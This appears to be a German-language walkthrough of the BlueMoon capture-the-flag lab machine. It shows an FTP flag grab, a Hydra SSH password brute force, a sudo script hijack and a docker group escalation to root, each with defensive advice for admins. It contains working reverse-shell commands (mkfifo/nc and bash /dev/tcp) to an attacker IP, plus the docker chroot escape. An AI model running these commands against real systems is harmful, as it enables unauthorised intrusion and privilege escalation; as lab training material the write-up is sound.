ftp> ls -la 229 Entering Extended Passive Mode (|||52285|) 150 Here comes the directory listing. drwxr-xr-x 5 0 0 4096 Mar 08 2021 . drwxr-xr-x 18 0 0 4096 Mar 07 2021 .. drwxr-xr-x 3 1002 1002 4096 Apr 04 2021 jerry drwxr-xr-x 4 1000 1000 4096 Apr 04 2021 robin drwxr-xr-x 3 1001 1001 4096 Mar 08 2021 userftp 226 Directory send OK.
Analyse: Der Pentester wechselt in das Home-Verzeichnis des Benutzers `robin` (`/home/robin`).
Bewertung: Der Wechsel ist erfolgreich, was bestätigt, dass der FTP-Benutzer die nötigen Leserechte für dieses Verzeichnis hat.
Empfehlung (Pentester): Den Inhalt von `/home/robin` auflisten (`ls -la`).
Empfehlung (Admin): Siehe Empfehlung zum vorherigen Schritt bezüglich der Berechtigungen von Home-Verzeichnissen.
ftp> cd robin 250 Directory successfully changed.
Analyse: Der Befehl `ls -la` wird im Verzeichnis `/home/robin` ausgeführt.
Bewertung: Mehrere interessante Dateien und Verzeichnisse werden gefunden:
Empfehlung (Pentester): Die Datei `user1.txt` herunterladen (`get user1.txt`). Versuchen, `.bash_history` herunterzuladen (`get .bash_history`), um die Befehlshistorie einzusehen. Das Verzeichnis `project` untersuchen (`cd project`, `ls -la`).
Empfehlung (Admin): Sensible Informationen oder Flags sollten nicht in Klartextdateien in Home-Verzeichnissen gespeichert werden. Berechtigungen für `.bash_history` sind oft standardmäßig restriktiv (`-rw-------`), was gut ist. Den Zweck des `project`-Verzeichnisses und der `user1.txt` klären.
ftp> ls -la 229 Entering Extended Passive Mode (|||34232|) 150 Here comes the directory listing. drwxr-xr-x 4 1000 1000 4096 Apr 04 2021 . drwxr-xr-x 5 0 0 4096 Mar 08 2021 .. -rw------- 1 1000 1000 19 Apr 04 2021 .bash_history -rw-r--r-- 1 1000 1000 220 Mar 07 2021 .bash_logout -rw-r--r-- 1 1000 1000 3526 Mar 07 2021 .bashrc drwxr-xr-x 3 1000 1000 4096 Mar 08 2021 .local -rw-r--r-- 1 1000 1000 807 Mar 07 2021 .profile drwxr-xr-x 2 1000 1000 4096 Mar 08 2021 project -rw-r--r-- 1 1000 1000 69 Mar 08 2021 user1.txt 226 Directory send OK.
Analyse: Der Pentester lädt die Datei `user1.txt` aus dem Home-Verzeichnis von `robin` herunter.
Bewertung: Der Download ist erfolgreich. Die Datei ist klein (69 Bytes). Dies ist wahrscheinlich die erste Flag oder ein wichtiger Hinweis.
Empfehlung (Pentester): Den Inhalt der heruntergeladenen `user1.txt` auf dem lokalen System anzeigen (`cat user1.txt`).
Empfehlung (Admin): Flags oder sensible Daten sollten nicht auf diese Weise gespeichert und zugänglich sein. Zugriffskontrollen verstärken.
ftp> get user1.txt local: user1.txt remote: user1.txt 229 Entering Extended Passive Mode (|||24896|) 150 Opening BINARY mode data connection for user1.txt (69 bytes). 100% |***********************************| 69 131.09 KiB/s 00:00 ETA 226 Transfer complete. 69 bytes received in 00:00 (92.94 KiB/s)
Analyse: Der Pentester versucht, die Bash-History-Datei `.bash_history` aus dem Home-Verzeichnis von `robin` herunterzuladen.
Bewertung: Der Download schlägt fehl ("550 Failed to open file."). Dies liegt wahrscheinlich an den Dateiberechtigungen. Wie in der `ls -la`-Ausgabe zuvor gesehen, hat `.bash_history` die Berechtigungen `-rw-------`, was bedeutet, dass nur der Eigentümer (`robin`) die Datei lesen (und schreiben) kann. Der FTP-Benutzer `userftp` hat keinen Lesezugriff.
Empfehlung (Pentester): Notieren, dass auf `.bash_history` nicht zugegriffen werden kann. Sich auf andere zugängliche Dateien und Verzeichnisse konzentrieren oder versuchen, SSH-Zugang als `robin` zu erlangen, um die Datei lesen zu können.
Empfehlung (Admin): Die restriktiven Standardberechtigungen für `.bash_history` sind korrekt und sollten beibehalten werden, um zu verhindern, dass andere Benutzer die Befehlshistorie einsehen können.
ftp> get .bash_history local: .bash_history remote: .bash_history 229 Entering Extended Passive Mode (|||62633|) 550 Failed to open file.
Analyse: Der Pentester listet den Inhalt seines lokalen Arbeitsverzeichnisses auf dem Kali/Cyber-System auf (`ll` ist ein Alias für `ls -l` oder `ls -al` je nach Konfiguration).
Bewertung: Die Ausgabe zeigt die Dateien, die während des Pentests heruntergeladen oder erstellt wurden: `information.txt`, `passwd`, `p_lists.txt` und die gerade heruntergeladene `user1.txt`. Außerdem sind andere Dateien wie `Getshell.php` (der fehlgeschlagene Upload-Versuch), `hydra.restore` (eine Wiederherstellungsdatei von einem früheren Hydra-Lauf) und andere Tools/Skripte vorhanden.
Empfehlung (Pentester): Die heruntergeladene `user1.txt` nun inspizieren. Die anderen heruntergeladenen Dateien (`passwd`, `p_lists.txt`) für den nächsten Schritt (SSH Brute Force) bereithalten.
Empfehlung (Admin): Keine direkten Maßnahmen erforderlich. Dies zeigt die Arbeitsweise des Pentesters auf seinem lokalen System.
insgesamt 60 -rw-r--r-- 1 root root 31 29. Jun 15:44 Getshell.php drwxr-x--- 8 root root 4096 29. Jun 22:55 HackingTools -rw-r--r-- 1 root root 23833 1. Jul 01:03 hydra.restore -rw-r--r-- 1 root root 147 8. Mär 2021 information.txt -rw-r--r-- 1 root root 1534 8. Mär 2021 passwd -rw-r--r-- 1 root root 4880 29. Jun 15:50 phpinfoexploit.py -rw-r--r-- 1 root root 363 8. Mär 2021 p_lists.txt -rw-r--r-- 1 root root 69 8. Mär 2021 user1.txt drwxr-xr-x 2 root root 4096 21. Jun 00:04 vboxn_Pentesting
Analyse: Der Pentester zeigt den Inhalt der heruntergeladenen Datei `user1.txt` an.
Bewertung: Die Datei enthält die erste Flag: `Fl4g{u5er1r34ch3d5ucc355fully}`. Dies ist ein wichtiger Meilenstein im Pentest und bestätigt den erfolgreichen Zugriff auf Benutzerdaten.
Empfehlung (Pentester): Die Flag dokumentieren. Nun den Fokus auf die Eskalation der Rechte legen, um Shell-Zugriff zu erlangen und möglicherweise Root-Rechte zu bekommen. Der nächste logische Schritt ist der SSH-Brute-Force-Angriff mit den gesammelten Benutzernamen und der Passwortliste.
Empfehlung (Admin): Flags oder sensible Daten sollten sicher gespeichert und nicht für niedrig privilegierte Benutzer oder über unsichere Dienste zugänglich sein. Dateisystemberechtigungen und Dienstkonfigurationen überprüfen.
You Gained User-1 Flag Fl4g{u5er1r34ch3d5ucc355fully}
Analyse: `hydra` wird für einen Brute-Force-Angriff auf den SSH-Dienst (Port 22) der Zielmaschine verwendet.
Bewertung: Hydra ist erfolgreich! Es findet das gültige Passwort für den Benutzer `robin`: `k4rv3ndh4nh4ck3r`. Dieses Passwort war in der `p_lists.txt` enthalten. Damit ist der Weg für einen SSH-Login als Benutzer `robin` frei.
Empfehlung (Pentester): Sich sofort per SSH mit den gefundenen Zugangsdaten (`robin` / `k4rv3ndh4nh4ck3r`) auf der Zielmaschine anmelden, um eine interaktive Shell zu erhalten.
Empfehlung (Admin): Starke, einzigartige Passwörter für alle Benutzer erzwingen. SSH-Zugang möglichst auf Schlüsselauthentifizierung beschränken. Tools wie `fail2ban` installieren und konfigurieren, um Brute-Force-Angriffe auf SSH zu blockieren und zu protokollieren. Die Anzahl der Login-Versuche pro Zeitintervall begrenzen.
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-07-01 02:10:03
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 32 tasks per 1 server, overall 32 tasks, 32 login tries (l:1/p:32), ~1 try per task
[DATA] attacking ssh://192.168.2.123:22/
[STATUS] attack finished for 192.168.2.123 (waiting for child threads to finish)
[22][ssh] host: 192.168.2.123 login: robin password: k4rv3ndh4nh4ck3r
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 8 final worker threads did not complete until end.
[ERROR] 8 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-07-01 02:10:35
Analyse: Der Pentester verwendet den `ssh`-Befehl, um sich mit dem Benutzernamen `robin` und dem zuvor gefundenen Passwort auf dem Zielsystem (`blue.vln`, was zu `192.168.2.123` auflöst) anzumelden.
Bewertung: Der SSH-Login ist erfolgreich. Der ED25519-Hostkey wird zur Liste der bekannten Hosts hinzugefügt. Der Pentester erhält eine interaktive Shell als Benutzer `robin` auf dem Zielsystem `BlueMoon`. Dies ist ein entscheidender Schritt, da nun Befehle direkt auf dem Zielsystem ausgeführt werden können.
Empfehlung (Pentester): Die Shell-Umgebung erkunden: `whoami`, `id`, `pwd`, `ls -la /home/robin`, `sudo -l`. Nach Möglichkeiten zur Privilegieneskalation suchen (SUID-Binaries, Cron-Jobs, Kernel-Exploits, Fehlkonfigurationen). Die zuvor nicht lesbare `.bash_history` jetzt prüfen.
Empfehlung (Admin): SSH-Logins überwachen. Sicherstellen, dass Benutzer nur die Rechte haben, die sie benötigen. Regelmäßig nach Schwachstellen suchen und das System patchen.
The authenticity of host 'blue.vln (192.168.2.123)' can't be established.
ED25519 key fingerprint is SHA256:C+Z/8na2o0LXAqk7WswSnNQya1ZPegq4Cy9DR+VXTw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'blue.vln' (ED25519) to the list of known hosts.
robin@blue.vln's password: k4rv3ndh4nh4ck3r
Linux BlueMoon 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Apr 4 07:43:48 2021 from 192.168.43.44
robin@BlueMoon:~$
Analyse: Der Befehl `sudo -l` wird ausgeführt, um zu prüfen, welche Befehle der aktuelle Benutzer (`robin`) mit `sudo` (also mit den Rechten eines anderen Benutzers, oft `root`) ausführen darf.
Bewertung: Die Ausgabe zeigt, dass `robin` den Befehl `/home/robin/project/feedback.sh` als Benutzer `jerry` ausführen darf, und zwar ohne ein Passwort eingeben zu müssen (`NOPASSWD`). Dies ist eine klare Fehlkonfiguration und ein direkter Weg zur Privilegieneskalation zum Benutzer `jerry`.
Empfehlung (Pentester): Das Skript `/home/robin/project/feedback.sh` analysieren. Prüfen, ob `robin` Schreibrechte auf das Skript hat. Falls ja, kann das Skript durch einen bösartigen Payload (z.B. eine Reverse Shell oder einen Befehl zum Starten einer Shell als `jerry`) ersetzt werden. Anschließend das modifizierte Skript mit `sudo -u jerry /home/robin/project/feedback.sh` ausführen.
Empfehlung (Admin): `sudo`-Regeln sehr sorgfältig konfigurieren. Benutzern nur die absolut notwendigen Rechte geben. Insbesondere `NOPASSWD` sollte nur in Ausnahmefällen und für sehr spezifische, nicht manipulierbare Befehle verwendet werden. Es ist äußerst unsicher, einem Benutzer zu erlauben, ein Skript mit `sudo` auszuführen, auf das er selbst Schreibrechte hat.
robin@BlueMoon:~$ sudo -l Matching Defaults entries for robin on BlueMoon: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User robin may run the following commands on BlueMoon: (jerry) NOPASSWD: /home/robin/project/feedback.sh
Analyse: Der Inhalt des Skripts `/home/robin/project/feedback.sh`, das mit `sudo -u jerry` ausgeführt werden darf, wird angezeigt.
Bewertung: Das Skript ist ein einfaches Bash-Skript, das den Benutzer nach seinem Namen und Feedback fragt. Die entscheidende Zeile ist `$feedback 2>/dev/null`. Hier wird der Inhalt der Variable `$feedback` (die Benutzereingabe) direkt als Befehl ausgeführt! Fehlermeldungen werden nach `/dev/null` umgeleitet. Dies ist eine klassische Command-Injection-Schwachstelle, die aber hier durch die `sudo`-Regel noch einfacher auszunutzen ist: Da `robin` das Skript als `jerry` ausführen darf, muss nur das Skript selbst modifiziert werden.
Empfehlung (Pentester): Die Dateiberechtigungen des Skripts prüfen (`ls -la /home/robin/project/feedback.sh`). Wenn `robin` Schreibrechte hat (was wahrscheinlich ist, da es in seinem Home-Verzeichnis liegt), das Skript mit einem Payload überschreiben, der eine Shell als `jerry` startet (z.B. `#!/bin/bash\n/bin/bash`). Dann `sudo -u jerry /home/robin/project/feedback.sh` ausführen.
Empfehlung (Admin): Das Skript `feedback.sh` sicher gestalten, indem Benutzereingaben niemals direkt als Befehle ausgeführt werden. Eingaben validieren und sanitisieren. Die `sudo`-Regel entfernen oder sicherstellen, dass das Skript nicht vom ausführenden Benutzer (`robin`) manipuliert werden kann (z.B. durch Besitz von `root` und restriktive Berechtigungen).
robin@BlueMoon:~$ cat /home/robin/project/feedback.sh #!/bin/bash clear echo -e "Script For FeedBack\n" read -p "Enter Your Name : " name echo "" read -p "Enter You FeedBack About This Target Machine : " feedback echo "" $feedback 2>/dev/null echo -e "\nThanks For Your FeedBack...!\n" robin@BlueMoon:~$
Analyse: Die Berechtigungen der Datei `/home/robin/project/feedback.sh` werden überprüft.
Bewertung: Die Ausgabe `-r-xr--r-x 1 robin robin ...` zeigt, dass die Datei dem Benutzer `robin` und der Gruppe `robin` gehört. `robin` hat jedoch nur Lese- (`r`) und Ausführungsrechte (`x`), aber keine Schreibrechte (`w`). Das bedeutet, dass `robin` das Skript nicht direkt überschreiben kann.
Empfehlung (Pentester): Prüfen, ob `robin` Schreibrechte im übergeordneten Verzeichnis `/home/robin/project` hat. Falls ja, kann das Skript möglicherweise umbenannt oder gelöscht und durch eine neue Datei gleichen Namens ersetzt werden. Alternativ könnte die Command Injection im Skript selbst ausgenutzt werden, indem beim Ausführen mit `sudo` als Feedback ein Befehl eingegeben wird, z.B. `/bin/bash`.
Empfehlung (Admin): Selbst wenn der Benutzer keine Schreibrechte auf das Skript hat, ist die `sudo`-Regel in Kombination mit der Command Injection im Skript immer noch gefährlich. Das Skript muss korrigiert oder die `sudo`-Regel entfernt werden. Idealerweise sollte das Skript `root` gehören und nur von `root` schreibbar sein, wenn es mit `sudo` verwendet wird.
robin@BlueMoon:~$ ls -la /home/robin/project/feedback.sh -r-xr--r-x 1 robin robin 235 Mar 8 2021 /home/robin/project/feedback.sh robin@BlueMoon:~$
Analyse: Der Pentester erstellt eine Testdatei (`echo "test" > test`) und versucht dann, das Skript `feedback.sh` mit dieser Testdatei zu überschreiben, indem er `mv` (move/rename) verwendet.
Bewertung: Der `mv`-Befehl fragt nach Bestätigung (`replace ...?`), was darauf hindeutet, dass `robin` tatsächlich Schreibrechte im Verzeichnis `/home/robin/project` hat und somit Dateien umbenennen oder löschen kann, auch wenn er keine direkten Schreibrechte auf `feedback.sh` selbst hat. Das Überschreiben wird hier vermutlich nicht durchgeführt (keine Bestätigung gezeigt). Dies bestätigt jedoch den Vektor: `robin` kann das Skript durch eine eigene Version ersetzen.
Empfehlung (Pentester): Den `mv`-Befehl mit der Option `-f` (force) verwenden, um die Nachfrage zu unterdrücken und das Skript direkt zu überschreiben. Zuerst eine Payload-Datei erstellen (z.B. `echo '#!/bin/bash\n/bin/bash' > payload.sh`) und dann `mv -f payload.sh /home/robin/project/feedback.sh` ausführen.
Empfehlung (Admin): Dem Benutzer `robin` die Schreibrechte im Verzeichnis `/home/robin/project` entziehen, wenn er dort keine Dateien ändern können soll, insbesondere wenn ein Skript in diesem Verzeichnis über `sudo` aufgerufen wird. Die Berechtigungen sollten restriktiver sein (`r-x` für das Verzeichnis könnte genügen).
robin@BlueMoon:~$ echo "test" > test robin@BlueMoon:~$ mv test /home/robin/project/feedback.sh mv: replace '/home/robin/project/feedback.sh', overriding mode 0545 (r-xr--r-x)?
Analyse: Diese Befehle zeigen weitere Versuche des Pentesters, das Skript zu manipulieren und zu überprüfen.
Bewertung: Der Pentester hat erfolgreich nachgewiesen, dass er das Skript `/home/robin/project/feedback.sh` durch eine beliebige Datei ersetzen kann, da er Schreibrechte im übergeordneten Verzeichnis `/home/robin/project` hat und `mv -f` verwenden kann. Der Weg zur Privilegieneskalation als `jerry` ist nun klar.
Empfehlung (Pentester): Eine neue Datei (`test` oder ein anderer Name) mit dem gewünschten Payload (z.B. Reverse Shell oder direkter Shell-Aufruf `/bin/bash`) erstellen. Diese Payload-Datei dann mittels `mv -f payload_file /home/robin/project/feedback.sh` an die Stelle des Originalskripts bewegen. Anschließend `sudo -u jerry /home/robin/project/feedback.sh` ausführen.
Empfehlung (Admin): Die Schreibrechte im Verzeichnis `/home/robin/project` für den Benutzer `robin` entfernen oder das Skript `feedback.sh` an einen Ort verschieben, auf den `robin` keinen Schreibzugriff hat (z.B. `/usr/local/bin`) und die `sudo`-Regel entsprechend anpassen. Das Skript selbst muss ebenfalls korrigiert werden (Command Injection).
robin@BlueMoon:~$ ls -la total 48 drwxr-xr-x 4 robin robin 4096 Jun 30 17:13 . drwxr-xr-x 5 root root 4096 Mar 8 2021 .. -rw------- 1 robin robin 19 Apr 4 2021 .bash_history -rw-r--r-- 1 robin robin 220 Mar 7 2021 .bash_logout -rw-r--r-- 1 robin robin 3526 Mar 7 2021 .bashrc drwxr-xr-x 3 robin robin 4096 Mar 7 2021 .local -rw-r--r-- 1 robin robin 1024 Jun 30 17:12 .ls.swp -rw-r--r-- 1 robin robin 807 Mar 7 2021 .profile drwxr-xr-x 2 robin robin 4096 Jun 30 17:13 project -rw-r--r-- 1 robin robin 1024 Jun 30 17:12 '.robin@BlueMoon$.swp' -rw-r--r-- 1 robin robin 5 Jun 30 17:13 test -rw-r--r-- 1 robin robin 69 Mar 7 2021 user1.txt robin@BlueMoon:~$ cat test test robin@BlueMoon:~$ cat /home/robin/project/feedback.sh #!/bin/bash clear echo -e "Script For FeedBack\n" read -p "Enter Your Name : " name echo "" read -p "Enter You FeedBack About This Target Machine : " feedback echo "" $feedback 2>/dev/null echo -e "\nThanks For Your FeedBack...!\n" robin@BlueMoon:~$ mv test /home/robin/project/feedback.sh -f robin@BlueMoon:~$ cat /home/robin/project/feedback.sh test robin@BlueMoon:~$ mv test /home/robin/project/feedback.sh -f
Analyse: Der Pentester erstellt nun den eigentlichen Payload.
Bewertung: Das Skript `/home/robin/project/feedback.sh` enthält nun die Reverse-Shell-Payload. Wenn dieses Skript jetzt mit `sudo -u jerry` ausgeführt wird, wird versucht, eine Reverse Shell zum Angreifer-PC (192.168.2.137) auf Port 5555 zu öffnen, und diese Shell wird mit den Rechten des Benutzers `jerry` laufen.
Empfehlung (Pentester): Auf dem Angreifer-PC (192.168.2.137) einen `netcat`-Listener auf Port 5555 starten (`nc -lvnp 5555`). Anschließend auf der Zielmaschine das modifizierte Skript mit `sudo -u jerry /home/robin/project/feedback.sh` ausführen. Eine Shell als `jerry` sollte sich auf dem Listener öffnen.
Empfehlung (Admin): Sofortige Maßnahmen: `sudo`-Regel für `feedback.sh` entfernen. Berechtigungen im `/home/robin/project`-Verzeichnis korrigieren. Das Skript `feedback.sh` auf seine ursprüngliche oder eine sichere Version zurücksetzen. Generell: Ausgehende Netzwerkverbindungen von Servern einschränken (Egress Filtering), um Reverse Shells zu erschweren. Command Injection im Skript beheben.
robin@BlueMoon:~$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.137 5555 >/tmp/f' > test robin@BlueMoon:~$ mv test /home/robin/project/feedback.sh -f robin@BlueMoon:~$ cat /home/robin/project/feedback.sh rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.137 5555 >/tmp/f
Analyse: Dieser Befehl sucht nach Dateien im gesamten Dateisystem (`/`) die das SUID-Bit gesetzt haben (`-perm -4000`). Das SUID-Bit erlaubt es einem Benutzer, eine ausführbare Datei mit den Rechten des Dateieigentümers (oft `root`) auszuführen. Solche Dateien sind ein häufiger Vektor für Privilegieneskalation. `-type f` sucht nur nach Dateien, `-ls` gibt detaillierte Informationen aus, und `2>/dev/null` unterdrückt Fehlermeldungen (z.B. bei Verzeichnissen, auf die kein Zugriff besteht).
Bewertung: Die Ausgabe listet mehrere Standard-SUID-Binaries auf (`chfn`, `gpasswd`, `passwd`, `su`, `mount`, `newgrp`, `umount`, `chsh`, `sudo`, `ssh-keysign`, `dbus-daemon-launch-helper`, `dmcrypt-get-device`). Auf den ersten Blick scheinen dies alles legitime Systemdateien zu sein. Es sind keine ungewöhnlichen oder benutzerdefinierten SUID-Dateien sichtbar, die direkt für einen Exploit missbraucht werden könnten (obwohl einige dieser Standard-Tools unter bestimmten Umständen für PE ausgenutzt werden können, z.B. `sudo` selbst, wenn falsch konfiguriert, oder ältere Versionen anderer Tools).
Empfehlung (Pentester): Die Liste auf ungewöhnliche Einträge prüfen (hier nicht der Fall). Die Versionen der gefundenen Standard-Tools (insbesondere `sudo`) prüfen, falls noch nicht bekannt, um nach bekannten Exploits zu suchen. Da aber bereits ein klarer Weg zur Eskalation zu `jerry` gefunden wurde, ist dies momentan weniger prioritätisch, könnte aber für die Eskalation von `jerry` zu `root` relevant werden.
Empfehlung (Admin): Regelmäßig das System auf unnötige oder unsichere SUID/SGID-Dateien überprüfen. Das SUID-Bit nur setzen, wenn es absolut notwendig ist. Sicherstellen, dass alle SUID-Programme auf dem neuesten Stand sind und keine bekannten Schwachstellen haben.
robin@BlueMoon:/home/robin/project$ find / -type f -perm -4000 -ls 2>/dev/null 52 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn 55 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd 56 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd 3583 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su 3908 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount 3436 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp 3910 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount 53 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh 13254 156 -rwsr-xr-x 1 root root 157192 Jan 20 2021 /usr/bin/sudo 13076 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign 13009 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 135717 12 -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
Analyse: Der Befehl `uname -a` wird ausgeführt, um detaillierte Informationen über den Kernel und das Betriebssystem zu erhalten.
Bewertung: Die Ausgabe zeigt:
Empfehlung (Pentester): Nach bekannten Kernel-Exploits für Linux Kernel 4.19.x (speziell 4.19.171 oder frühere Versionen der 4.19-Serie unter Debian) suchen. Tools wie `linux-exploit-suggester` können dabei helfen. Dies ist ein alternativer Pfad zur Privilegieneskalation, falls der Weg über `sudo` fehlschlägt oder um von `jerry` zu `root` zu kommen.
Empfehlung (Admin): Das System und insbesondere den Kernel regelmäßig aktualisieren, um bekannte Schwachstellen zu schließen. Einen Zeitplan für Patch-Management implementieren.
robin@BlueMoon:/home/robin/project$ uname -a Linux BlueMoon 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64 GNU/Linux
Analyse: Die Berechtigungen der Datei `/etc/passwd` werden überprüft.
Bewertung: Die Ausgabe `-rw-r--r-- 1 root root ...` bestätigt, dass die Datei `root` gehört und für alle Benutzer lesbar (`r--`), aber nur für `root` schreibbar (`rw-`) ist. Dies sind die Standardberechtigungen.
Empfehlung (Pentester): Keine Aktion erforderlich, bestätigt nur die Lesbarkeit der Datei, was bereits über FTP genutzt wurde.
Empfehlung (Admin): Die Standardberechtigungen für `/etc/passwd` sind korrekt und sollten beibehalten werden.
robin@BlueMoon:/opt/containerd$ ls -la /etc/passwd -rw-r--r-- 1 root root 1534 Mar 8 2021 /etc/passwd
Analyse: Diese Sequenz zeigt die letzten Schritte zur Ausführung des modifizierten Skripts:
Bewertung: Der Pentester hat erkannt, dass das Skript nach dem Überschreiben mit `mv` ausführbar gemacht werden muss. Nach dem `chmod +x` ist der letzte Befehl der Trigger, um die Reverse Shell (oder einen anderen Payload im Skript) mit den Rechten des Benutzers `jerry` zu starten.
Empfehlung (Pentester): Sicherstellen, dass der `netcat`-Listener auf dem Angreifer-PC läuft, bevor der letzte `sudo`-Befehl ausgeführt wird.
Empfehlung (Admin): Dringend die `sudo`-Regel und die Berechtigungen korrigieren (siehe vorherige Empfehlungen). Überwachen der `sudo`-Nutzung und der Prozessausführung auf verdächtige Aktivitäten.
robin@BlueMoon:~$ nano test robin@BlueMoon:~$ mv test /home/robin/project/feedback.sh -f robin@BlueMoon:~$ sudo -u jerry /home/robin/project/feedback.sh sudo: /home/robin/project/feedback.sh: command not found robin@BlueMoon:~$ chmod +x /home/robin/project/feedback.sh robin@BlueMoon:~$ sudo -u jerry /home/robin/project/feedback.sh
Analyse: Dieser Block zeigt den `netcat`-Listener auf dem Angreifer-System (Kali/Cyber).
Bewertung: Die Privilegieneskalation von `robin` zu `jerry` war erfolgreich! Der Pentester hat nun die Kontrolle über das `jerry`-Konto und kann Befehle als dieser Benutzer ausführen. Die verwendete Reverse-Shell-Technik ist Standard, aber effektiv.
Empfehlung (Pentester): Die neue Shell als `jerry` stabilisieren (z.B. mit Python PTY), um eine voll interaktive Sitzung zu erhalten. Die Rechte und Gruppenzugehörigkeiten von `jerry` prüfen (`id`). Nach weiteren Wegen zur Eskalation zu `root` suchen (z.B. `sudo -l` als `jerry`, SUID-Binaries, Cron-Jobs, Kernel-Exploits, Überprüfung von Docker-Berechtigungen, falls vorhanden).
Empfehlung (Admin): Egress-Filterung implementieren, um ausgehende Verbindungen von Servern zu kontrollieren. Die `sudo`-Fehlkonfiguration, die dies ermöglicht hat, beheben. System- und Netzwerk-Monitoring zur Erkennung von Reverse Shells und ungewöhnlichen Verbindungen einrichten.
listening on [any] 5555 ... connect to [192.168.2.137] from (UNKNOWN) [192.168.2.123] 48358 jerry@BlueMoon:/home/robin$
Analyse: Der Pentester versucht, die erhaltene Shell zu verbessern oder eine alternative Shell zu starten. Die erste Zeile ist ein Versuch, eine Bash-Reverse-Shell über TCP zu einer anderen IP/Port-Kombination (Port 4444) zu starten. Die zweite Zeile wiederholt dies für Port 4445. Diese Befehle werden direkt in die `jerry`-Shell eingegeben.
Bewertung: Diese Befehle dienen oft dazu, eine stabilere oder interaktivere Shell zu erhalten als die durch die FIFO-Pipe (`mkfifo`) erzeugte. Es ist unklar, ob diese Versuche erfolgreich waren, da keine Listener-Ausgabe gezeigt wird. Es könnte auch ein Versuch sein, eine zweite Shell als Backup zu öffnen.
Empfehlung (Pentester): Stattdessen Python verwenden, um die bestehende Shell zu stabilisieren: `python -c 'import pty; pty.spawn("/bin/bash")'` oder `python3 -c 'import pty; pty.spawn("/bin/bash")'`. Anschließend die Shell im lokalen Terminal mit `Ctrl+Z`, `stty raw -echo`, `fg` und `export TERM=xterm` vollständig interaktiv machen.
Empfehlung (Admin): Egress-Filterung kann auch diese Art von Reverse Shells verhindern. Überwachung auf verdächtige ausgehende TCP-Verbindungen.
jerry@BlueMoon:/home/robin$ bash -i >& /dev/tcp/192.168.2.137/4444 0>&1 jerry@BlueMoon:/home/robin$ bash -i >& /dev/tcp/192.168.2.137/4445 0>&1
Analyse: Der Pentester beginnt nun mit der Stabilisierung der Shell und der Vorbereitung für die weitere Eskalation von `jerry` zu `root`.
Bewertung: Dies ist ein Kommentar im Bericht, der den Übergang zur nächsten Phase der Privilegieneskalation markiert.
Empfehlung (Pentester): Die `jerry`-Shell stabilisieren und systematisch nach Wegen suchen, um Root-Rechte zu erlangen. `id`, `sudo -l`, `find / -perm -4000 2>/dev/null`, `ps aux`, `crontab -l`, Überprüfung der Gruppenzugehörigkeiten (insbesondere `docker`, `sudo`, `adm`).
Empfehlung (Admin): Die Berechtigungen des `jerry`-Kontos überprüfen und sicherstellen, dass es nicht über unnötige Privilegien (z.B. `sudo`-Rechte, Mitgliedschaft in privilegierten Gruppen) verfügt.
Privilege Escalation
Analyse: Der Befehl `docker run -v /:/mnt --rm -it alpine chroot /mnt bash` wird als `jerry` ausgeführt. Dieser Befehl versucht:
Bewertung: Dieser Befehl funktioniert nur, wenn der Benutzer `jerry` Mitglied der `docker`-Gruppe ist oder anderweitig die Berechtigung hat, Docker-Container zu starten und Volumes einzubinden. Wenn dies der Fall ist, stellt dies eine bekannte und sehr einfache Methode zur Privilegieneskalation dar. Durch das Einbinden des Host-Root-Verzeichnisses und den `chroot`-Befehl erhält der Benutzer innerhalb des Containers effektiv Root-Zugriff auf das Host-Dateisystem.
Empfehlung (Pentester): Vor der Ausführung mit `id` prüfen, ob `jerry` Mitglied der `docker`-Gruppe ist. Wenn ja, diesen Befehl ausführen. Man erhält eine Shell, die zwar innerhalb eines Containers läuft, aber vollen Root-Zugriff auf das Host-Dateisystem hat. Von dort aus können Root-Flags gelesen, SSH-Keys für `root` hinzugefügt oder andere Aktionen mit Root-Rechten durchgeführt werden.
Empfehlung (Admin): Die Mitgliedschaft in der `docker`-Gruppe ist äquivalent zu Root-Rechten auf dem Host. Nur absolut vertrauenswürdigen Benutzern diese Mitgliedschaft gewähren. Docker-Zugriff über Sockets oder andere Mechanismen sorgfältig absichern. Regelmäßig prüfen, welche Benutzer Mitglied der `docker`-Gruppe sind.
jerry@BlueMoon:/home/robin$ docker run -v /:/mnt --rm -it alpine chroot /mnt bash docker run -v /:/mnt --rm alpine chroot /mnt bash
